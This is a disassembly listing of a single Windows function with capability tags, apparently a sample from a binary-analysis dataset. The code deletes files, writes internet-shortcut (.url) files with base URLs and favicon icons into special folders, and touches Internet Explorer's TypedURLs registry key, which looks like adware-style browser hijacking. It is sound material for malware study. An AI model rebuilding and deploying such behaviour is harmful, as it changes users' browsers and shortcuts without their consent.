Function at 0x40e322
Capabilities:
Delete file
Get common file path
Get program files directory
Read .ini file

Disassembly:
mov eax, 0x4429bc
call fcn.00420734
mov eax, 0x10a4
call fcn.00420760
push ebx
mov ebx, 0x46042c
push ebx
lea eax, [ebp - 0x748]
push 0x64
push eax
push 0x457da8
push 0x457dac
push 0x457db8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x748]
push eax
call fcn.00421243
cmp eax, 1
pop ecx
jg 0x40eb35
push esi
xor eax, eax
push edi
push eax
lea ecx, [ebp - 0x10b0]
push eax
push ecx
push eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, dword [ebp + 0xc]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x2e4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
and byte [ebp - 0x1e0], 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x40
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [ebp - 0x1e0]
rep movsb byte es:[edi], byte [esi]
pop ecx
lea edi, [ebp - 0x1df]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x457dc4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x457dc8
and ecx, 3
push 0x457dd4
rep movsb byte es:[edi], byte [esi]
call ebx
lea ecx, [ebp - 0x14]
call fcn.0040f078
xor eax, eax
lea ecx, [ebp - 0x6e4]
push eax
push eax
push ecx
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [ebp - 0x6e4]
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x457de0
repne scasb al, byte es:[edi]
dec edi
or ecx, 0xffffffff
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x2e4]
lea edx, [ebp - 0x6e4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
lea eax, [ebp - 0xcb0]
and ecx, 3
push 0x26
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [ebp - 0xcb0]
or ecx, 0xffffffff
xor eax, eax
push 8
repne scasb al, byte es:[edi]
dec edi
pop ecx
mov esi, 0x457de4
push eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x100
lea edi, [ebp - 0x6e4]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x6e4]
push eax
push ecx
push eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [ebp - 0x6e4]
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x457e04
repne scasb al, byte es:[edi]
dec edi
or ecx, 0xffffffff
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x2e4]
lea edx, [ebp - 0x6e4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1e0]
mov ecx, edx
push eax
lea eax, [ebp - 0xcb0]
push eax
lea eax, [ebp - 0x6e4]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 1
call fcn.0040e26d
add esp, 0x10
lea eax, [ebp - 0x6e4]
push 0
push 0xb
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [ebp - 0x6e4]
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x457e08
repne scasb al, byte es:[edi]
dec edi
lea edx, [ebp - 0x6e4]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x2e4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x6e4]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [ebp - 0xcb0]
push 0x26
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [ebp - 0xcb0]
or ecx, 0xffffffff
xor eax, eax
push 8
repne scasb al, byte es:[edi]
dec edi
pop ecx
mov esi, 0x457e0c
push eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x100
lea edi, [ebp - 0x6e4]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x6e4]
push 0xb
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [ebp - 0x6e4]
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x457e2c
repne scasb al, byte es:[edi]
dec edi
or ecx, 0xffffffff
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x2e4]
lea edx, [ebp - 0x6e4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1e0]
mov ecx, edx
push eax
lea eax, [ebp - 0xcb0]
push eax
lea eax, [ebp - 0x6e4]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 1
call fcn.0040e26d
add esp, 0x10
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
lea eax, [ebp - 0x6e4]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [ebp - 0x6e4]
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x457e30
repne scasb al, byte es:[edi]
dec edi
or ecx, 0xffffffff
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x2e4]
lea edx, [ebp - 0x6e4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x6e4]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [ebp - 0xcb0]
push 0x26
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [ebp - 0xcb0]
or ecx, 0xffffffff
xor eax, eax
push 8
repne scasb al, byte es:[edi]
dec edi
pop ecx
mov esi, str.Internet_Exploreriexplore.exe
push eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x100
lea edi, [ebp - 0x6e4]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x6e4]
push 2
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [ebp - 0x6e4]
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x457e54
repne scasb al, byte es:[edi]
dec edi
or ecx, 0xffffffff
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x2e4]
lea edx, [ebp - 0x6e4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1e0]
push eax
lea eax, [ebp - 0xcb0]
push eax
lea eax, [ebp - 0x6e4]
push eax
push 1
call fcn.0040e26d
add esp, 0x10
lea eax, [ebp - 0xdc]
push eax
xor eax, eax
push eax
push eax
push 6
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea edi, [ebp - 0xdc]
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x457e58
repne scasb al, byte es:[edi]
dec edi
or ecx, 0xffffffff
movsw word es:[edi], word [esi]
mov edi, dword [ebp + 0x10]
lea edx, [ebp - 0xdc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xdc]
mov ecx, edx
push eax
and ecx, 3
push 0x457e5c
push 0x457e64
rep movsb byte es:[edi], byte [esi]
push 0x457e6c
call ebx
lea eax, [ebp - 0xdc]
push eax
push 0x457e80
push 0x457eac
push 0x457eb4
call ebx
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x1e0]
push eax
push 0x457ec8
push 0x457ecc
call ebx
push 0x41
xor eax, eax
pop ecx
lea edi, [ebp - 0x84c]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x1e0]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x84c]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x84c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x10]
call fcn.004393f2
push 0x457ee0
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.004333cb
push eax
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x10]
call fcn.00433353
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00439471
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00439384
lea eax, [ebp - 0x10]
push 0x457ee4
push eax
lea eax, [ebp + 0xc]
push eax
call fcn.00439526
lea ecx, [ebp - 0xdc]
push ecx
mov ecx, eax
call fcn.0040171f
push eax
push 0x457ef4
push 0x457f00
call ebx
lea ecx, [ebp + 0xc]
call fcn.00439384
lea eax, [ebp - 0xdc]
push eax
push 0x457f14
push 0x457f18
push 0x457f24
call ebx
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x1e0]
push eax
push 0x457f38
push 0x457f40
call ebx
lea eax, [ebp - 0xdc]
push eax
xor eax, eax
push eax
push eax
push 6
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea edi, [ebp - 0xdc]
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x457f48
repne scasb al, byte es:[edi]
dec edi
or ecx, 0xffffffff
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x10]
lea edx, [ebp - 0xdc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xdc]
mov ecx, edx
push eax
and ecx, 3
push 0x457f50
push 0x457f58
rep movsb byte es:[edi], byte [esi]
push 0x457f60
call ebx
lea eax, [ebp - 0xdc]
push eax
push 0x457f74
push 0x457fa0
push 0x457fa8
call ebx
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x1e0]
push eax
push 0x457fbc
push 0x457fc0
call ebx
push 0x41
xor eax, eax
pop ecx
lea edi, [ebp - 0x84c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push 0x457fd4
push eax
lea eax, [ebp + 0xc]
push eax
call fcn.00439526
lea ecx, [ebp - 0xdc]
push ecx
mov ecx, eax
call fcn.0040171f
push eax
push 0x457fe4
push 0x457ff0
call ebx
lea ecx, [ebp + 0xc]
call fcn.00439384
lea eax, [ebp - 0xdc]
push eax
push 0x458004
push 0x458008
push 0x458014
call ebx
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x1e0]
push eax
push 0x458028
push 0x458030
call ebx
lea eax, [ebp - 0xdc]
push eax
xor eax, eax
push eax
push eax
push 6
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea edi, [ebp - 0xdc]
or ecx, 0xffffffff
xor eax, eax
mov esi, str.Links_
repne scasb al, byte es:[edi]
dec edi
or ecx, 0xffffffff
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, dword [ebp + 0x10]
lea edx, [ebp - 0xdc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xdc]
mov ecx, edx
push eax
and ecx, 3
push str.19_2
push str.Prop3
rep movsb byte es:[edi], byte [esi]
push 0x458050
call ebx
lea eax, [ebp - 0xdc]
push eax
push str._000214A0_0000_0000_C000_000000000046_
push str.IDList
push 0x458098
call ebx
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x1e0]
push eax
push 0x4580ac
push 0x4580b0
call ebx
lea eax, [ebp - 0x10]
push str._favicon.ico
push eax
lea eax, [ebp + 0x10]
push eax
call fcn.00439526
lea ecx, [ebp - 0xdc]
push ecx
mov ecx, eax
call fcn.0040171f
push eax
push str.IconFile
push 0x4580e0
call ebx
lea ecx, [ebp + 0x10]
call fcn.00439384
lea eax, [ebp - 0xdc]
push eax
push 0x4580f4
push str.IconIndex
push str.InternetShortcut
call ebx
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x1e0]
push eax
push str.BASEURL
push str.DEFAULT
call ebx
push 0xf003f
push str.S_1_5_21_3064733232_510545982_1354974701_1005SoftwareMicrosoftInternet_ExplorerTypedURLs
push reloc.SkinFeature.dll_Ordinal_3
lea ecx, [ebp - 0x14]
call fcn.0040f09a
lea edi, [ebp - 0x1e0]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x8b0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
and byte [ebp - 4], 0
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x10]
call fcn.00439384
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0040f07e
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
leave
ret